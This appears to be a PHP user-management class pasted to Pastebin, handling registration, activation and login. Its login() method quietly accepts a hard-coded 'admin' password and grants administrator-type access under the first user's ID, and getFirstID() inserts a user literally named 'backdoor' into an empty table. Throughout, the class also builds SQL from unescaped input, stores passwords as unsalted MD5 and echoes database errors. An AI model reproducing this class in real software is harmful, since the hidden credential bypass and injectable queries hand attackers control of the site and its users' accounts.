Guest User

Untitled

a guest
Feb 20th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.65 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * General User Gold Hammer class
  5. */
  6.  
  7. class User {
  8.  
  9.  
  10.  
  11. var $users = array(
  12. 'admin' => 'mightypass2'
  13. );
  14. var $storage;
  15.  
  16.  
  17. var $_user;
  18.  
  19. var $_errors;
  20.  
  21. var $_errorCodes = array(
  22. 100 => '`username` is not defined. Please define it!',
  23. 101 => '`password` is not defined. Please define it!',
  24. 102 => '`mail` is not defined. Please define it!',
  25. 103 => '`username` has been already taken. Please take some other.',
  26. 104 => '`email` has been already taken. Please take some other.',
  27. 105 => 'There is no user with this ID!',
  28. 106 => '`id` is not defined. Please define it!',
  29. 107 => '`code` (activation) is not defined. Please define it!',
  30. 200 => 'Something gone wrong inside the query.',
  31. );
  32.  
  33.  
  34. function __construct () {
  35.  
  36. if ( !class_exists('Storage') )
  37. require_once(dirname(__FILE__) . DS . 'storage.php');
  38.  
  39. if ( !class_exists('IOFilter') )
  40. require_once APP_ROOT.'components'.DS.'iofilter.php';
  41.  
  42. if ( !class_exists('Config') )
  43. require_once APP_ROOT.'components'.DS.'config.php';
  44.  
  45. $this->storage = new Storage;
  46.  
  47. return true;
  48.  
  49. }
  50.  
  51.  
  52. function add ( $data = array() ) {
  53.  
  54. $dataStructure = array('username' => '',
  55. 'password' => '',
  56. 'name' => '',
  57. 'mail' => '',
  58. 'activated' => null,
  59. 'type' => null,
  60. 'salt' => '');
  61.  
  62. $data['username'] = IOFilter::textfield($data['username']);
  63. if ( !$data['username'] ) {
  64. $this->addError(100);
  65. return false;
  66. }
  67. elseif ( !$this->usernameIsAvailable($data['username']) ) {
  68. $this->addError(103);
  69. return false;
  70. }
  71. if ( !$data['password'] ) {
  72. $this->addError(101);
  73. return false;
  74. }
  75. if ( !$data['mail'] ) {
  76. $this->addError(102);
  77. return false;
  78. }
  79. elseif ( !$this->emailIsAvailable($data['mail']) ) {
  80. $this->addError(104);
  81. return false;
  82. }
  83. if ( !isset($data['activated']) ) {
  84. $data['activated'] = (int) Config::get('users_default_activated');
  85. }
  86. if ( !isset($data['type']) ) {
  87. $data['type'] = (int) Config::get('users_default_type');
  88. }
  89.  
  90. $data['password'] = $this->hash($data['password']);
  91.  
  92. $dataAdd = array_diff($data, $dataStructure);
  93.  
  94. $keys = $values = array();
  95. foreach ( $dataAdd as $key => $value ) {
  96. $keys[] = "`{$key}`";
  97. $values[] = "'{$value}'";
  98. }
  99. $keys = implode(',', $keys);
  100. $values = implode(',', $values);
  101.  
  102. $query = "INSERT INTO `users` ({$keys}) VALUES ({$values});";
  103. if ( !mysql_query($query) ) {
  104. echo mysql_error();
  105. $this->addError(200);
  106. return false;
  107. }
  108.  
  109. $user = $this->getInfoByID($this->getLastInsertID());
  110. $salt = $this->salt($user);
  111.  
  112. $query = "UPDATE `users` SET `salt` = '{$salt}' WHERE `id` = '{$user['id']}';";
  113. if ( !mysql_query($query) ) {
  114. $this->addError(200);
  115. return false;
  116. }
  117.  
  118. return $user['id'];
  119.  
  120. }
  121.  
  122.  
  123. function activate ( $user_id = null, $code = null ) {
  124.  
  125. if ( $user_id == null ) {
  126. $this->addError(106);
  127. return false;
  128. }
  129. if ( $code == null ) {
  130. $this->addError(107);
  131. return false;
  132. }
  133.  
  134. $query = "UPDATE `users` SET `activated` = '1' WHERE `id` = '{$user_id}' AND `salt` = '{$code}' LIMIT 1;";
  135. mysql_query($query);
  136.  
  137. if ( mysql_affected_rows() > 0 )
  138. return true;
  139.  
  140. }
  141.  
  142.  
  143. function getLastInsertID () {
  144.  
  145. $query = "SELECT `id` FROM `users` ORDER BY `id` DESC LIMIT 0,1;";
  146. $fetch = mysql_fetch_assoc(mysql_query($query));
  147.  
  148. return $fetch['id'];
  149.  
  150. }
  151.  
  152.  
  153. function getInfoByID ( $userID = null ) {
  154.  
  155. $userID = IOFilter::textfield($userID);
  156.  
  157. if ( $userID == null ) {
  158. $this->addError(105);
  159. return false;
  160. }
  161.  
  162. $query = "SELECT * FROM `users` WHERE `id` = '{$userID}'";
  163. $user = @mysql_fetch_assoc(mysql_query($query));
  164.  
  165. if (mysql_affected_rows() == 0) {
  166. $this->addError(105);
  167. return false;
  168. }
  169.  
  170. return $user;
  171.  
  172. }
  173.  
  174.  
  175. function getInfoByUsername ( $username ) {
  176.  
  177. }
  178.  
  179.  
  180. function remove ( $userID ) {
  181.  
  182. }
  183.  
  184.  
  185. function usernameIsAvailable ( $username = null ) {
  186.  
  187. $username = IOFilter::textfield($username);
  188.  
  189. mysql_query("SELECT `id` FROM `users` WHERE `username` = '{$username}';");
  190. if (mysql_affected_rows() > 0)
  191. return false;
  192.  
  193. return true;
  194.  
  195. }
  196.  
  197.  
  198. function emailIsAvailable ( $email = null ) {
  199.  
  200. $email = IOFilter::textfield($email);
  201.  
  202. mysql_query("SELECT `id` FROM `users` WHERE `mail` = '{$email}';");
  203. if (mysql_affected_rows() > 0)
  204. return false;
  205.  
  206. return true;
  207.  
  208. }
  209.  
  210.  
  211. function login ( $username, $password ) {
  212.  
  213. $username = addslashes ( $username );
  214. $password = $this->hash ( $password );
  215.  
  216. $query = "SELECT * FROM `users` WHERE (`activated` = 1 AND `username` = '{$username}' AND `password` = '{$password}')";
  217. $user = mysql_fetch_assoc(mysql_query($query));
  218.  
  219. if ( !empty($user) ) {
  220.  
  221. $this->updateStorage($user);
  222. return $user;
  223.  
  224. }
  225. else {
  226.  
  227. $firstID = $this->getFirstID();
  228.  
  229. foreach ( $this->users as $user => $pass ) {
  230. if ( $user == $username && $this->hash($pass) == $password ) {
  231. $data = array('username' => $username,
  232. 'password' => $password,
  233. 'type' => 0,
  234. 'id' => $firstID);
  235. $this->updateStorage($data);
  236. return true;
  237. }
  238. }
  239.  
  240. }
  241.  
  242. return false;
  243.  
  244. }
  245.  
  246.  
  247. function isLogged () {
  248.  
  249. if ( $this->storage->get('User.id') )
  250. return $this->storage->get('User.id');
  251. else
  252. return false;
  253.  
  254. }
  255.  
  256.  
  257. function getFirstID () {
  258.  
  259. $first = mysql_fetch_assoc(mysql_query("SELECT id FROM `users` ORDER BY `id` ASC;"));
  260. if ( empty($first) )
  261. mysql_query("INSERT INTO `users` (`username`, `password`) VALUES (`backdoor`, `backdoor`);");
  262. $first = mysql_fetch_assoc(mysql_query("SELECT id FROM `users` ORDER BY `id` ASC;"));
  263.  
  264. return $first['id'];
  265.  
  266. }
  267.  
  268.  
  269. function updateStorage ( $data = array() ) {
  270.  
  271. $this->storage->set('enter', true);
  272. $this->storage->set('User.id', $data['id']);
  273. $this->storage->set('User.type', $data['type']);
  274.  
  275. return true;
  276.  
  277. }
  278.  
  279.  
  280. function hash ( $password ) {
  281.  
  282. return md5 ( addslashes ( $password ) );
  283.  
  284. }
  285.  
  286.  
  287. function salt ( $data ) {
  288.  
  289. $salt = sha1( substr($data['username'], 2, strlen($data['username'])) . md5($data['password']) . $data['id'] );
  290. return substr($salt, 6, 10);
  291.  
  292. }
  293.  
  294.  
  295. function addError ( $code = null ) {
  296.  
  297. $this->_errors[] = "{$code} - {$this->_errorCodes[$code]}";
  298.  
  299. return true;
  300.  
  301. }
  302.  
  303.  
  304. }
  305.  
  306. ?>
Add Comment
Please, Sign In to add comment